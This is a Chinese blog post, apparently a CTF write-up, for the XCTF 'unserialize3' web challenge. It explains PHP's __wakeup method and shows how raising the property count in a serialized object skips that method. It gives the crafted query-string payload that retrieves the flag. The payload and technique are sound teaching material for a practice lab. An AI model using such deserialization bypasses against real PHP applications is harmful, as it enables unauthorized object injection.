攻防世界: WEB——unserialize3

靶场内容

  • 题目:反序列化——说明和反序列化有关
  • 打开靶场:PHP代码——PHP反序列化
    image

solution

这个靶场出来之后,显示出来是一个不完整的PHP代码——括号都没有完全闭合
开始分析:

  • __wakeup()属于魔术方法,通常用于反序列化中。
  • unserialize() 反序列化函数会检查是否存在一个 __wakeup() 方法。如果存在,则会先调用 __wakeup 方法,预先准备对象需要的资源,比如连接数据库。
  • 这题到目前的代码是没有看见序列化函数的,所以我们传递参数的时候是需要自己传递已经序列化的参数,题目也给了提示,是传参给code
  • 使用一下代码可以产生序列化输出:
<?php
class xctf{                    
public $flag = '111';            
public function __wakeup(){     
exit('bad requests');
}
}
$a = new xctf();          
echo(serialize($a));       
?>
  • 构造出对象的序列化输出:O:4:"xctf":1:{s:4:"flag";s:3:"111";}
  • 根据代码审计,我们构造出来序列化序列之后,不能给__wakeup()执行,否则会返回bad request参数,所以需要在序列化参数做些修改。
    image
  • 这里的漏洞就是:如果我们在序列化中说明的对象个数要比实际的对象个数要大,那么将不会执行__wakeup()这个方法
  • 所以,我们将序列化输出的对象个数改成比1大的数就行了
  • 比如:?code=O:4:"xctf":3:{s:4:"flag";s:3:"111";} flag就出来了
    image
  • 也就是证明,我们的序列化参数真实传递给了$code
posted @ 2021-08-23 17:10  Zeker62  阅读(1544)  评论(0编辑  收藏  举报